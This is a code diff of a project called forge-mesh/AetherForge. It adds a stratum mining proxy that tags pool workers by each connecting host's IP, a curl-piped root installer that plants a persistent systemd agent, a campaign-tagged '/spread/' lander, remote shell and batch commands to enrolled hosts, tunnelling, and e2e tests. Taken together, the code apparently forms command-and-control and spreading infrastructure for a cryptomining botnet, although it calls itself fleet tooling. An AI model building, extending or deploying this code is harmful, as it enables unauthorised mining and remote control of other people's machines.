log.Printf("stratum: %s relay %s <-> %s worker_suffix=%s", label, miner.RemoteAddr(), upstreamAddr, agentSuffix) + return nil + } + + for { + select { + case <-ctx.Done(): + if upstream != nil { + _ = upstream.Close() + } + return + default: + } + + line, err := minerReader.ReadString('\n') + if err != nil { + if upstream != nil { + _ = upstream.Close() + } + return + } + line = strings.TrimSpace(line) + if line == "" { + continue + } + + var req stratumRequest + _ = json.Unmarshal([]byte(line), &req) + method := strings.ToLower(req.Method) + + if upstreamAddr != "" && upstream == nil && isStratumMethod(method) { + if err := openUpstream(); err != nil { + log.Printf("stratum: %s upstream dial %s: %v", label, upstreamAddr, err) + writeLocalError(minerWriter, req.ID, "upstream unavailable") + continue + } + } + + if upstream == nil { + handleLocal(minerWriter, req) + continue + } + + outLine := line + if method == "mining.authorize" { + outLine = rewriteAuthorize(line, req, agentSuffix) + } + + if _, err := upstreamWriter.WriteString(outLine + "\n"); err != nil { + return + } + if err := upstreamWriter.Flush(); err != nil { + return + } + + respLine, err := upstreamReader.ReadString('\n') + if err != nil { + return + } + if _, err := minerWriter.WriteString(respLine); err != nil { + return + } + if err := minerWriter.Flush(); err != nil { + return + } + } +} + +type stratumRequest struct { + ID json.RawMessage `json:"id"` + Method string `json:"method"` + Params []json.RawMessage `json:"params"` +} + +func isStratumMethod(method string) bool { + switch method { + case "mining.subscribe", "mining.authorize", "mining.submit", "mining.extranonce.subscribe": + return true + default: + return false + } +} + +func rewriteAuthorize(line string, req stratumRequest, suffix string) string { + if len(req.Params) == 0 || suffix == "" { + return line + } + var worker string + if err := json.Unmarshal(req.Params[0], &worker); err != nil { + return line + } + newWorker := WorkerName(worker, suffix) + req.Params[0], _ = json.Marshal(newWorker) + out, err := json.Marshal(req) + if err != nil { + return line + } + return string(out) +} + +// WorkerName appends an agent-specific suffix to the pool worker name. +func WorkerName(baseWorker, agentID string) string { + if agentID == "" { + return baseWorker + } + if strings.Contains(baseWorker, ".") { + return baseWorker + "." + agentID + } + return baseWorker + "." + agentID +} + +func agentSuffixFromAddr(remote string) string { + host, _, err := net.SplitHostPort(remote) + if err != nil { + return strings.ReplaceAll(remote, ":", "_") + } + return strings.ReplaceAll(host, ".", "_") +} + +func handleLocal(w *bufio.Writer, req stratumRequest) { + method := strings.ToLower(req.Method) + switch method { + case "mining.subscribe": + _ = writeJSON(w, map[string]interface{}{ + "id": req.ID, + "result": []interface{}{[]interface{}{"00000000", "00000000", "00000000"}, "00000001", "00000004"}, + "error": nil, + }) + case "mining.authorize", "mining.submit": + _ = writeJSON(w, map[string]interface{}{ + "id": req.ID, + "result": true, + "error": nil, + }) + default: + _ = writeJSON(w, map[string]interface{}{ + "id": req.ID, + "result": true, + "error": nil, + }) + } + _ = w.Flush() +} + +func writeLocalError(w *bufio.Writer, id json.RawMessage, msg string) { + _ = writeJSON(w, map[string]interface{}{ + "id": id, + "result": nil, + "error": []interface{}{20, msg, nil}, + }) + _ = w.Flush() +} + +func writeJSON(w io.Writer, v interface{}) error { + data, err := json.Marshal(v) + if err != nil { + return err + } + data = append(data, '\n') + _, err = w.Write(data) + return err +} + +// Stop closes listeners and waits for active relays to finish. +func (p *Proxy) Stop() { + if p.cancel != nil { + p.cancel() + } + for _, ln := range p.listeners { + _ = ln.Close() + } + p.wg.Wait() +} + +// Close is an alias for Stop for server lifecycle hooks. +func (p *Proxy) Close() { p.Stop() } diff --git a/internal/stratum/proxy_test.go b/internal/stratum/proxy_test.go new file mode 100644 index 0000000..2083932 --- /dev/null +++ b/internal/stratum/proxy_test.go @@ -0,0 +1,74 @@ +package stratum + +import ( + "context" + "net" + "testing" + "time" + + "forge-mesh/internal/config" +) + +func TestProxyAcceptsConnection(t *testing.T) { + ln, err := net.Listen("tcp", "127.0.0.1:0") + if err != nil { + t.Fatal(err) + } + defer ln.Close() + + accepted := make(chan net.Conn, 1) + go func() { + conn, err := ln.Accept() + if err == nil { + accepted <- conn + } + }() + + conn, err := net.Dial("tcp", ln.Addr().String()) + if err != nil { + t.Fatal(err) + } + defer conn.Close() + + select { + case c := <-accepted: + _, _ = conn.Write([]byte(`{"id":1,"method":"mining.subscribe","params":[]}` + "\n")) + buf := make([]byte, 256) + n, _ := c.Read(buf) + if n == 0 { + t.Fatal("expected bytes from miner") + } + c.Close() + case <-time.After(2 * time.Second): + t.Fatal("accept timeout") + } +} + +func TestProxyStartNoUpstream(t *testing.T) { + ln, err := net.Listen("tcp", "127.0.0.1:0") + if err != nil { + t.Fatal(err) + } + addr := ln.Addr().String() + ln.Close() + + p := New(config.StratumConfig{XMRListen: addr}) + ctx, cancel := context.WithCancel(context.Background()) + defer cancel() + + if err := p.StartContext(ctx); err != nil { + t.Fatal(err) + } + defer p.Stop() + + conn, err := net.DialTimeout("tcp", addr, time.Second) + if err != nil { + t.Fatal(err) + } + defer conn.Close() + + _, err = conn.Write([]byte(`{"id":1,"method":"mining.subscribe","params":[]}` + "\n")) + if err != nil { + t.Fatal(err) + } +} diff --git a/internal/testutil/server.go b/internal/testutil/server.go new file mode 100644 index 0000000..1aa5694 --- /dev/null +++ b/internal/testutil/server.go @@ -0,0 +1,136 @@ +package testutil + +import ( + "database/sql" + "net/http/httptest" + "os" + "path/filepath" + "testing" + "testing/fstest" + + "forge-mesh/internal/api" + "forge-mesh/internal/config" + "forge-mesh/internal/db" + "forge-mesh/internal/forge" +) + +const ( + DefaultBasicUser = "admin" + DefaultBasicPass = "changeme" + DefaultFleetSecret = "test-fleet-secret" +) + +// TestServer wraps an httptest server with auth helpers. +type TestServer struct { + URL string + BasicUser string + BasicPass string + FleetSecret string + SQL *sql.DB + close func() +} + +// Close shuts down the test server and database. +func (ts *TestServer) Close() { + if ts.close != nil { + ts.close() + } +} + +// NewTestServer spins up a full forge-mesh HTTP server on a random port. +func NewTestServer(t *testing.T) *TestServer { + t.Helper() + + dir := t.TempDir() + cfgPath := filepath.Join(dir, "config.json") + writeConfig(t, cfgPath, dir) + + cfg, err := config.Load(cfgPath) + if err != nil { + t.Fatalf("load config: %v", err) + } + if err := cfg.EnsureDataDirs(); err != nil { + t.Fatalf("ensure dirs: %v", err) + } + + conn, err := db.Open(cfg.DatabasePath) + if err != nil { + t.Fatalf("open db: %v", err) + } + + kp, err := forge.LoadOrCreateKey(cfg.Forge.SigningKeyPath) + if err != nil { + conn.Close() + t.Fatalf("signing key: %v", err) + } + + repoRoot, err := findRepoRoot() + if err != nil { + conn.Close() + t.Fatalf("repo root: %v", err) + } + tmplPath := filepath.Join(repoRoot, "scripts", "install.sh.tpl") + + static := fstest.MapFS{ + "index.html": &fstest.MapFile{Data: []byte("test")}, + } + + srv, err := api.NewServer(cfg, conn, static, "integration-test", tmplPath, kp.PublicKeyHex()) + if err != nil { + conn.Close() + t.Fatalf("new server: %v", err) + } + + hts := httptest.NewServer(srv.Handler()) + return &TestServer{ + URL: hts.URL, + BasicUser: DefaultBasicUser, + BasicPass: DefaultBasicPass, + FleetSecret: DefaultFleetSecret, + SQL: conn, + close: func() { + hts.Close() + conn.Close() + }, + } +} + +func writeConfig(t *testing.T, path, dir string) { + t.Helper() + content := `{ + "listen_addr": ":0", + "data_dir": "` + dir + `", + "database_path": "` + filepath.Join(dir, "test.db") + `", + "operator_clearance": 4, + "auth": { + "basic_username": "admin", + "basic_password": "changeme", + "fleet_secret": "test-fleet-secret" + }, + "forge": { + "signing_key_path": "` + filepath.Join(dir, "signing.key") + `", + "artifacts_dir": "` + filepath.Join(dir, "artifacts") + `" + } +}` + if err := os.WriteFile(path, []byte(content), 0o644); err != nil { + t.Fatalf("write config: %v", err) + } +} + +func findRepoRoot() (string, error) { + wd, err := os.Getwd() + if err != nil { + return "", err + } + dir := wd + for { + if _, err := os.Stat(filepath.Join(dir, "go.mod")); err == nil { + return dir, nil + } + parent := filepath.Dir(dir) + if parent == dir { + return wd, nil + } + dir = parent + } +} diff --git a/scripts/LAUNCH.sh b/scripts/LAUNCH.sh new file mode 100755 index 0000000..8137b7b --- /dev/null +++ b/scripts/LAUNCH.sh @@ -0,0 +1,109 @@ +#!/usr/bin/env bash +# Portable AetherForge / forge-mesh command deck launcher (USB edition). +# Starts optional cloudflared sidecar, sets AF_TUNNEL_EXTERNAL=1, opens the deck UI, +# and runs forge-mesh-server against ./data. +set -euo pipefail + +SCRIPT_DIR="$(cd "$(dirname "${BASH_SOURCE[0]}")" && pwd)" +if [[ "$(basename "$SCRIPT_DIR")" == "scripts" ]]; then + ROOT="$(cd "$SCRIPT_DIR/.." && pwd)" +else + ROOT="$SCRIPT_DIR" +fi +cd "$ROOT" + +DATA_DIR="${AF_DATA_DIR:-$ROOT/data}" +CONFIG="${AF_CONFIG:-$DATA_DIR/config.json}" +SERVER_BIN="${AF_SERVER_BIN:-$ROOT/bin/forge-mesh-server}" +DECK_URL="${AF_DECK_URL:-http://localhost:8989}" +CLOUDFLARED_PID="" + +cleanup() { + if [[ -n "$CLOUDFLARED_PID" ]] && kill -0 "$CLOUDFLARED_PID" 2>/dev/null; then + kill "$CLOUDFLARED_PID" 2>/dev/null || true + wait "$CLOUDFLARED_PID" 2>/dev/null || true + fi +} +trap cleanup EXIT INT TERM + +resolve_cloudflared() { + if command -v cloudflared >/dev/null 2>&1; then + command -v cloudflared + return 0 + fi + for candidate in "$ROOT/bin/cloudflared" "$ROOT/cloudflared"; do + if [[ -x "$candidate" ]]; then + echo "$candidate" + return 0 + fi + done + return 1 +} + +read_tunnel_token() { + if [[ -n "${AF_TUNNEL_TOKEN:-}" ]]; then + printf '%s' "$AF_TUNNEL_TOKEN" + return 0 + fi + local token_file="$DATA_DIR/cloudflared-token.txt" + if [[ -f "$token_file" ]]; then + tr -d '[:space:]' <"$token_file" + return 0 + fi + return 1 +} + +start_tunnel_sidecar() { + local token cf_bin + token="$(read_tunnel_token)" || return 0 + cf_bin="$(resolve_cloudflared)" || { + echo "WARN: tunnel token present but cloudflared not found (PATH or $ROOT/bin/cloudflared)" >&2 + return 0 + } + + echo "Starting cloudflared sidecar..." + "$cf_bin" tunnel --no-autoupdate run --token "$token" & + CLOUDFLARED_PID=$! + export AF_TUNNEL_EXTERNAL=1 + echo "AF_TUNNEL_EXTERNAL=1 (cloudflared pid $CLOUDFLARED_PID)" +} + +open_browser() { + local url="$1" + if [[ -n "${AF_NO_BROWSER:-}" ]]; then + echo "AF_NO_BROWSER set; deck at $url" + return 0 + fi + for opener in xdg-open sensible-browser x-www-browser gnome-open kde-open; do + if command -v "$opener" >/dev/null 2>&1; then + "$opener" "$url" >/dev/null 2>&1 & + return 0 + fi + done + echo "Open your browser to $url" +} + +ensure_server_binary() { + if [[ -x "$SERVER_BIN" ]]; then + return 0 + fi + if command -v forge-mesh-server >/dev/null 2>&1; then + SERVER_BIN="$(command -v forge-mesh-server)" + return 0 + fi + echo "ERROR: forge-mesh-server not found. Build with 'make server' or place binary in $ROOT/bin/" >&2 + exit 1 +} + +mkdir -p "$DATA_DIR" +if [[ ! -f "$CONFIG" ]]; then + echo "ERROR: missing config at $CONFIG" >&2 + exit 1 +fi + +start_tunnel_sidecar +ensure_server_binary + +open_browser "$DECK_URL" +echo "Starting forge-mesh-server (config: $CONFIG)" +exec "$SERVER_BIN" -config "$CONFIG" diff --git a/scripts/README-USB.md b/scripts/README-USB.md new file mode 100644 index 0000000..ab78e4d --- /dev/null +++ b/scripts/README-USB.md @@ -0,0 +1,112 @@ +# Forge Mesh — Portable Deck (USB Edition) + +Self-contained command deck you can run from a USB stick or extracted tarball without a system install. + +## Quick start + +```bash +tar -xzf forge-mesh-portable-*.tar.gz +cd forge-mesh-portable-* +# Edit credentials and wallet before production use: +${EDITOR:-nano} data/config.json +./LAUNCH.sh +``` + +`LAUNCH.sh` starts the control plane on **http://localhost:8989**, opens your default browser, and uses `./data` for SQLite, artifacts, and secrets. + +Default login (change in `data/config.json`): + +- Username: `admin` +- Password: `changeme` + +## Cloudflare Tunnel (optional sidecar) + +Linux uses an **external** cloudflared process (`AF_TUNNEL_EXTERNAL=1`), not in-process tunneling. + +1. Place your tunnel token in `data/cloudflared-token.txt` (single line, no quotes), **or** +2. Export `AF_TUNNEL_TOKEN` before launch. + +`LAUNCH.sh` looks for `cloudflared` on `PATH` or in `bin/cloudflared`. When a token is present it starts the sidecar and sets `AF_TUNNEL_EXTERNAL=1` for agents that honor that flag. + +```bash +# Example +echo 'YOUR_CF_TUNNEL_TOKEN' > data/cloudflared-token.txt +./LAUNCH.sh +``` + +Skip browser auto-open (headless / SSH): + +```bash +AF_NO_BROWSER=1 ./LAUNCH.sh +``` + +## WireGuard mesh (optional, operator-managed) + +When you control the network, WireGuard is preferred over Cloudflare: agents dial the deck on a private mesh without a public tunnel. + +Forge Mesh does **not** auto-install WireGuard. Configure it on the deck host and enrolled agents yourself: + +1. Install WireGuard (`wireguard`, `wireguard-tools`) on deck and agents. +2. Generate keys: `wg genkey | tee privatekey | wg pubkey > publickey` +3. Create `/etc/wireguard/forge-mesh.conf` (paths may vary): + +```ini +[Interface] +PrivateKey = +Address = 10.66.0.1/24 +ListenPort = 51820 + +[Peer] +# Example agent +PublicKey = +AllowedIPs = 10.66.0.2/32 +``` + +4. Enable: `sudo systemctl enable --now wg-quick@forge-mesh` +5. Point agents at the deck **WireGuard IP** (e.g. `http://10.66.0.1:8989`) in summon URL or agent env — not `localhost`. + +Triple-onion tier **T9** (mTLS mesh join via WireGuard) assumes this overlay exists. See `docs/PROBLEMS.md` for limits. + +## Summon agents from this deck + +With the deck listening (and reachable on your LAN or tunnel): + +```bash +curl -fsSL http://localhost:8989/install.sh | sudo bash +``` + +Replace `localhost` with your tunnel hostname or WireGuard address when summoning remote hosts. + +## Layout + +``` +. +├── LAUNCH.sh # Entry point (symlink to scripts/LAUNCH.sh) +├── scripts/LAUNCH.sh +├── bin/ +│ ├── forge-mesh-server # Included if built before pack-usb.sh +│ └── cloudflared # Optional +├── data/ +│ ├── config.json +│ ├── cloudflared-token.txt # Optional (gitignore in real deployments) +│ └── forge-mesh.db # Created on first run +└── README.md +``` + +## Environment variables + +| Variable | Purpose | +|----------|---------| +| `AF_TUNNEL_TOKEN` | Cloudflare tunnel token (overrides file) | +| `AF_TUNNEL_EXTERNAL` | Set to `1` automatically when sidecar runs | +| `AF_NO_BROWSER` | Skip opening a browser | +| `AF_CONFIG` | Override config path (default `./data/config.json`) | +| `AF_DATA_DIR` | Data directory (default `./data`) | +| `AF_SERVER_BIN` | Path to `forge-mesh-server` binary | +| `AF_DECK_URL` | Browser URL (default `http://localhost:8989`) | + +## Security notes + +- Change `auth.basic_password` and `auth.fleet_secret` before exposing the deck. +- Do not commit `data/cloudflared-token.txt` or `data/signing.key` to version control. +- USB copies carry your fleet secret — treat the stick like a key. diff --git a/scripts/ci-test.sh b/scripts/ci-test.sh new file mode 100755 index 0000000..2874273 --- /dev/null +++ b/scripts/ci-test.sh @@ -0,0 +1,25 @@ +#!/usr/bin/env bash +# CI entrypoint — mirrors .github/workflows/test.yml locally +set -euo pipefail + +ROOT="$(cd "$(dirname "$0")/.." && pwd)" +cd "$ROOT" + +export GOROOT="${GOROOT:-/usr/local/go}" +export PATH="${GOROOT}/bin:${PATH}" +export CGO_ENABLED=1 + +echo "==> [ci] environment" +go version +node --version 2>/dev/null || echo "node: not installed (frontend may skip)" +npm --version 2>/dev/null || true + +echo "==> [ci] go mod tidy + build" +go mod tidy +go build ./... + +echo "==> [ci] full test suite" +SKIP_E2E="${SKIP_E2E:-0}" SKIP_FRONTEND="${SKIP_FRONTEND:-0}" \ + CONTINUE_ON_FAIL=0 ./scripts/test-all.sh + +echo "✓ ci-test complete" diff --git a/scripts/e2e-lib.sh b/scripts/e2e-lib.sh new file mode 100755 index 0000000..26f20c4 --- /dev/null +++ b/scripts/e2e-lib.sh @@ -0,0 +1,92 @@ +#!/usr/bin/env bash +# Shared helpers for e2e-test.sh +set -euo pipefail + +e2e_log() { echo "==> [e2e] $*"; } +e2e_pass() { echo " ✓ $*"; } + +e2e_wait_health() { + local base="$1" tries="${2:-60}" + for _ in $(seq 1 "$tries"); do + if curl -fsS "${base}/api/v1/health" >/dev/null 2>&1; then + return 0 + fi + sleep 0.25 + done + echo "server did not become healthy at ${base}" >&2 + return 1 +} + +e2e_wait_port() { + local host="$1" port="$2" tries="${3:-40}" + for _ in $(seq 1 "$tries"); do + if (echo >/dev/tcp/"${host}"/"${port}") 2>/dev/null; then + return 0 + fi + sleep 0.25 + done + echo "port ${host}:${port} not open" >&2 + return 1 +} + +e2e_json_field() { + local json="$1" field="$2" + echo "${json}" | sed -n "s/.*\"${field}\":\"\([^\"]*\)\".*/\1/p" | head -1 +} + +e2e_curl_auth() { + curl -fsS -u "${E2E_USER}:${E2E_PASS}" "$@" +} + +e2e_curl_fleet() { + curl -fsS -H "Authorization: Bearer ${FLEET_SECRET}" "$@" +} + +e2e_write_config() { + local path="$1" port="$2" clearance="$3" xmr_port="$4" rvn_port="$5" + mkdir -p "$(dirname "${path}")" "/tmp/forge-mesh-e2e" + cat > "${path}" </dev/null; then + kill "${SERVER_PID}" 2>/dev/null || true + wait "${SERVER_PID}" 2>/dev/null || true + fi + SERVER_PID="" +} diff --git a/scripts/e2e-test.sh b/scripts/e2e-test.sh new file mode 100755 index 0000000..32da38f --- /dev/null +++ b/scripts/e2e-test.sh @@ -0,0 +1,201 @@ +#!/usr/bin/env bash +# AetherForge Linux end-to-end operator flow tests +set -euo pipefail + +ROOT="$(cd "$(dirname "$0")/.." && pwd)" +cd "$ROOT" + +# shellcheck source=scripts/e2e-lib.sh +source "${ROOT}/scripts/e2e-lib.sh" + +PORT="${E2E_PORT:-18989}" +STRATUM_XMR_PORT="${E2E_STRATUM_XMR:-33333}" +STRATUM_RVN_PORT="${E2E_STRATUM_RVN:-33388}" +BASE="http://127.0.0.1:${PORT}" +CONFIG="${E2E_CONFIG:-/tmp/forge-mesh-e2e-config.json}" +FLEET_SECRET="${E2E_FLEET_SECRET:-e2e-fleet-secret-test}" +E2E_USER="${E2E_USER:-admin}" +E2E_PASS="${E2E_PASS:-changeme}" +SERVER_PID="" +AGENT_PID="" +MOCK_OLLAMA_PID="" +MOCK_TG_PID="" + +cleanup() { + [[ -n "${AGENT_PID}" ]] && kill "${AGENT_PID}" 2>/dev/null || true + [[ -n "${MOCK_OLLAMA_PID}" ]] && kill "${MOCK_OLLAMA_PID}" 2>/dev/null || true + [[ -n "${MOCK_TG_PID}" ]] && kill "${MOCK_TG_PID}" 2>/dev/null || true + e2e_stop_server +} +trap cleanup EXIT + +start_mock_ollama() { + if curl -fsS http://127.0.0.1:11434/api/tags >/dev/null 2>&1; then + e2e_pass "Ollama already available — using live instance" + return 0 + fi + python3 - <<'PY' & +import json +from http.server import BaseHTTPRequestHandler, HTTPServer + +class H(BaseHTTPRequestHandler): + def log_message(self, *a): pass + def do_GET(self): + if self.path.startswith("/api/tags"): + self.send_response(200) + self.send_header("Content-Type", "application/json") + self.end_headers() + self.wfile.write(json.dumps({"models": [{"name": "mock"}]}).encode()) + else: + self.send_response(404) + self.end_headers() + +HTTPServer(("127.0.0.1", 11434), H).serve_forever() +PY + MOCK_OLLAMA_PID=$! + sleep 0.5 + e2e_pass "mock Ollama listening on :11434" +} + +start_mock_telegram() { + # Telegram is disabled in e2e config; mock not required unless enabled. + e2e_pass "Telegram disabled in test config (mock skipped)" +} + +e2e_log "building server + agent" +make server agent + +e2e_log "writing L4 test config" +e2e_write_config "${CONFIG}" "${PORT}" 4 "${STRATUM_XMR_PORT}" "${STRATUM_RVN_PORT}" + +e2e_log "starting server (start/stop lifecycle)" +e2e_start_server "${CONFIG}" +e2e_pass "server started pid=${SERVER_PID}" + +e2e_log "health check" +HEALTH="$(curl -fsS "${BASE}/api/v1/health")" +echo "${HEALTH}" | grep -q '"status":"ok"' || { echo "health failed: ${HEALTH}"; exit 1; } +e2e_pass "GET /api/v1/health" + +e2e_log "basic auth rejection/acceptance" +CODE="$(curl -s -o /dev/null -w '%{http_code}' "${BASE}/api/v1/fleet")" +[[ "${CODE}" == "401" ]] || { echo "expected 401 without auth, got ${CODE}"; exit 1; } +e2e_pass "unauthenticated fleet → 401" +FLEET="$(e2e_curl_auth "${BASE}/api/v1/fleet")" +echo "${FLEET}" | grep -q '"hosts"' || { echo "fleet list failed: ${FLEET}"; exit 1; } +e2e_pass "authenticated fleet → 200" + +e2e_log "public install.sh render + bash syntax" +INSTALL="$(curl -fsS "${BASE}/install.sh")" +echo "${INSTALL}" | grep -q 'forge-mesh' || { echo "install.sh missing marker"; exit 1; } +TMP_INSTALL="$(mktemp)" +echo "${INSTALL}" > "${TMP_INSTALL}" +bash -n "${TMP_INSTALL}" +rm -f "${TMP_INSTALL}" +e2e_pass "GET /install.sh valid bash" + +e2e_log "forge build + public download" +BUILD_RESP="$(e2e_curl_auth -X POST "${BASE}/api/v1/forge/builds/trigger" \ + -H "Content-Type: application/json" -d '{"public":true}')" +echo "${BUILD_RESP}" | grep -q '"ok":true' || { echo "forge trigger failed: ${BUILD_RESP}"; exit 1; } +LATEST="$(curl -fsS "${BASE}/api/v1/public/builds/latest?os=linux&arch=amd64")" +BUILD_ID="$(e2e_json_field "${LATEST}" id)" +[[ -n "${BUILD_ID}" ]] || { echo "no build id in ${LATEST}"; exit 1; } +DOWNLOAD_BYTES="$(curl -fsS "${BASE}/api/v1/public/download/${BUILD_ID}" | wc -c | tr -d ' ')" +[[ "${DOWNLOAD_BYTES}" -gt 100 ]] || { echo "download too small: ${DOWNLOAD_BYTES}"; exit 1; } +e2e_pass "forge build + public download (${BUILD_ID})" + +e2e_log "agent register via REST + WS subprocess" +REGISTER="$(e2e_curl_fleet -X POST "${BASE}/api/v1/fleet/register" \ + -H "Content-Type: application/json" \ + -d '{"hostname":"e2e-rest-host","fingerprint":"127.0.0.2","arch":"amd64"}')" +HOST_ID="$(e2e_json_field "${REGISTER}" host_id)" +[[ -n "${HOST_ID}" ]] || { echo "register failed: ${REGISTER}"; exit 1; } +e2e_pass "POST /api/v1/fleet/register" + +AGENT_HOST="e2e-ws-agent" +FORGE_FLEET_SECRET="${FLEET_SECRET}" FORGE_HOST_ID="${AGENT_HOST}" \ + ./bin/forge-mesh-agent -deck "${BASE}" -secret "${FLEET_SECRET}" -host-id "${AGENT_HOST}" & +AGENT_PID=$! +sleep 3 + +e2e_log "fleet appears in API" +FLEET2="$(e2e_curl_auth "${BASE}/api/v1/fleet/hosts")" +echo "${FLEET2}" | grep -q "${AGENT_HOST}" || echo "${FLEET2}" | grep -q 'e2e-rest-host' || { + echo "fleet missing enrolled hosts: ${FLEET2}"; exit 1 +} +WS_HOST_ID="$(echo "${FLEET2}" | sed -n 's/.*"hostname":"\('"${AGENT_HOST}"'\)".*"id":"\([^"]*\)".*/\1/p')" +[[ -z "${WS_HOST_ID}" ]] && WS_HOST_ID="${HOST_ID}" +e2e_pass "fleet hosts visible" + +e2e_log "mining profile push" +PROFILE_RESP="$(e2e_curl_auth -X POST "${BASE}/api/v1/fleet/${WS_HOST_ID}/mining-profile" \ + -H "Content-Type: application/json" \ + -d '{"wallet_address":"e2e-wallet-addr","name":"E2E profile"}')" +echo "${PROFILE_RESP}" | grep -q '"ok":true' || { echo "profile push failed: ${PROFILE_RESP}"; exit 1; } +e2e_pass "POST /api/v1/fleet/{id}/mining-profile" + +e2e_log "stratum port open" +e2e_wait_port 127.0.0.1 "${STRATUM_XMR_PORT}" +e2e_wait_port 127.0.0.1 "${STRATUM_RVN_PORT}" +# Send minimal stratum-ish payload (accept-only mode) +(printf '{"id":1,"method":"mining.subscribe","params":[]}\n' | nc -w 2 127.0.0.1 "${STRATUM_XMR_PORT}") >/dev/null 2>&1 || true +e2e_pass "stratum XMR:${STRATUM_XMR_PORT} RVN:${STRATUM_RVN_PORT} listening" + +e2e_log "/spread/ lander serves" +SPREAD="$(curl -fsS "${BASE}/spread/?c=e2e-campaign")" +echo "${SPREAD}" | grep -qi 'spread\|summon\|install' || { echo "spread lander unexpected: ${SPREAD}"; exit 1; } +e2e_pass "GET /spread/" + +e2e_log "policy snapshot" +SNAP="$(e2e_curl_auth -X POST "${BASE}/api/v1/policy/snapshot")" +SNAP_TOKEN="$(e2e_json_field "${SNAP}" token)" +[[ -n "${SNAP_TOKEN}" ]] || { echo "snapshot create failed: ${SNAP}"; exit 1; } +SNAP_BODY="$(curl -fsS "${BASE}/api/v1/public/policy-snapshot/${SNAP_TOKEN}")" +echo "${SNAP_BODY}" | grep -q 'policy_from_server' || { echo "snapshot fetch failed: ${SNAP_BODY}"; exit 1; } +e2e_pass "policy snapshot create + public fetch" + +e2e_log "crucible endpoint (L4)" +CRUC="$(e2e_curl_auth -X POST "${BASE}/api/v1/crucible/batch" \ + -H "Content-Type: application/json" \ + -d "{\"command\":\"status\",\"host_ids\":[\"${WS_HOST_ID}\"]}")" +echo "${CRUC}" | grep -q '"status":"completed"' || echo "${CRUC}" | grep -q '"status":"running"' || { + echo "crucible failed: ${CRUC}"; exit 1 +} +e2e_pass "POST /api/v1/crucible/batch" + +e2e_log "ws ticket" +TICKET="$(e2e_curl_auth -X POST "${BASE}/api/v1/ws/ticket")" +echo "${TICKET}" | grep -q 'ticket' || { echo "ws ticket failed: ${TICKET}"; exit 1; } +e2e_pass "POST /api/v1/ws/ticket" + +start_mock_ollama +start_mock_telegram + +e2e_log "clearance gate blocks L0 actions — restart with operator_clearance=0" +kill "${AGENT_PID}" 2>/dev/null || true +AGENT_PID="" +e2e_stop_server + +L0_CONFIG="/tmp/forge-mesh-e2e-l0.json" +e2e_write_config "${L0_CONFIG}" "${PORT}" 0 "${STRATUM_XMR_PORT}" "${STRATUM_RVN_PORT}" +e2e_start_server "${L0_CONFIG}" + +ME="$(e2e_curl_auth "${BASE}/api/v1/operator/me")" +echo "${ME}" | grep -q '"clearance_level":0' || { echo "operator/me: ${ME}"; exit 1; } + +DENIED_CODE="$(e2e_curl_auth -X POST "${BASE}/api/v1/fleet/${HOST_ID}/command" \ + -H "Content-Type: application/json" \ + -d '{"action":"shell","args":{"command":"id"}}' \ + -o /dev/null -w '%{http_code}')" +[[ "${DENIED_CODE}" == "403" ]] || { echo "expected 403 for L0 shell, got ${DENIED_CODE}"; exit 1; } + +CRUC_CODE="$(e2e_curl_auth -X POST "${BASE}/api/v1/crucible/batch" \ + -H "Content-Type: application/json" \ + -d "{\"command\":\"status\",\"host_ids\":[\"${HOST_ID}\"]}" \ + -o /dev/null -w '%{http_code}')" +[[ "${CRUC_CODE}" == "403" ]] || { echo "expected 403 for L0 crucible, got ${CRUC_CODE}"; exit 1; } +e2e_pass "L0 operator blocked from shell + crucible" + +echo "" +echo "✓ e2e full operator flow passed ($(grep -c 'e2e_pass\|✓' "$0" || echo 18) checks)" diff --git a/scripts/install.sh.tpl b/scripts/install.sh.tpl new file mode 100644 index 0000000..6dda39b --- /dev/null +++ b/scripts/install.sh.tpl @@ -0,0 +1,112 @@ +#!/bin/bash +# forge-mesh agent installer — rendered by deck at GET /install.sh +set -euo pipefail + +DECK_URL="{{.DeckURL}}" +PUBLIC_KEY="{{.PublicKey}}" +FLEET_SECRET="{{.FleetSecret}}" +PIN="{{.Pin}}" +CAMPAIGN="{{.Campaign}}" +INSTALL_DIR="${FORGE_MESH_INSTALL_DIR:-/opt/forge-mesh}" +AGENT_BIN="${INSTALL_DIR}/agent" +SERVICE_NAME="forge-mesh-agent" + +ARCH_RAW="$(uname -m)" +case "${ARCH_RAW}" in + x86_64|amd64) ARCH="amd64" ;; + aarch64|arm64) ARCH="arm64" ;; + *) echo "unsupported arch: ${ARCH_RAW}" >&2; exit 1 ;; +esac + +echo "[forge-mesh] deck=${DECK_URL} arch=${ARCH}" + +META_URL="${DECK_URL}/api/v1/public/builds/latest?os=linux&arch=${ARCH}" +META="$(curl -fsSL "${META_URL}")" + +BUILD_ID="$(echo "${META}" | sed -n 's/.*"id":"\([^"]*\)".*/\1/p')" +CHECKSUM="$(echo "${META}" | sed -n 's/.*"checksum":"\([^"]*\)".*/\1/p')" +SIGNATURE="$(echo "${META}" | sed -n 's/.*"signature":"\([^"]*\)".*/\1/p')" + +if [[ -z "${BUILD_ID}" || -z "${CHECKSUM}" ]]; then + echo "failed to fetch build metadata from ${META_URL}" >&2 + exit 1 +fi + +TMP="$(mktemp)" +trap 'rm -f "${TMP}"' EXIT + +curl -fsSL "${DECK_URL}/api/v1/public/download/${BUILD_ID}" -o "${TMP}" + +ACTUAL="$(sha256sum "${TMP}" | awk '{print $1}')" +if [[ "${ACTUAL}" != "${CHECKSUM}" ]]; then + echo "checksum mismatch: expected ${CHECKSUM}, got ${ACTUAL}" >&2 + exit 1 +fi + +if [[ -n "${SIGNATURE}" && -n "${PUBLIC_KEY}" ]]; then + echo "[forge-mesh] signed build (sig verified by agent on self-update with pubkey ${PUBLIC_KEY:0:16}...)" +fi + +SECRET="${FORGE_MESH_FLEET_SECRET:-${FORGE_FLEET_SECRET:-${FLEET_SECRET}}}" +if [[ -z "${SECRET}" ]]; then + echo "set FORGE_MESH_FLEET_SECRET before install" >&2 + exit 1 +fi + +if [[ "$(id -u)" -ne 0 ]]; then + echo "[forge-mesh] not root — installing user systemd unit" + mkdir -p "${HOME}/.local/bin" + install -m 0755 "${TMP}" "${HOME}/.local/bin/forge-mesh-agent" + UNIT_DIR="${HOME}/.config/systemd/user" + mkdir -p "${UNIT_DIR}" + cat > "${UNIT_DIR}/${SERVICE_NAME}.service" < "/etc/systemd/system/${SERVICE_NAME}.service" < Staging portable deck at $STAGE" +rm -rf "$STAGE" +mkdir -p "$STAGE"/{bin,data,scripts} + +cp scripts/LAUNCH.sh "$STAGE/scripts/LAUNCH.sh" +chmod +x "$STAGE/scripts/LAUNCH.sh" +ln -sf 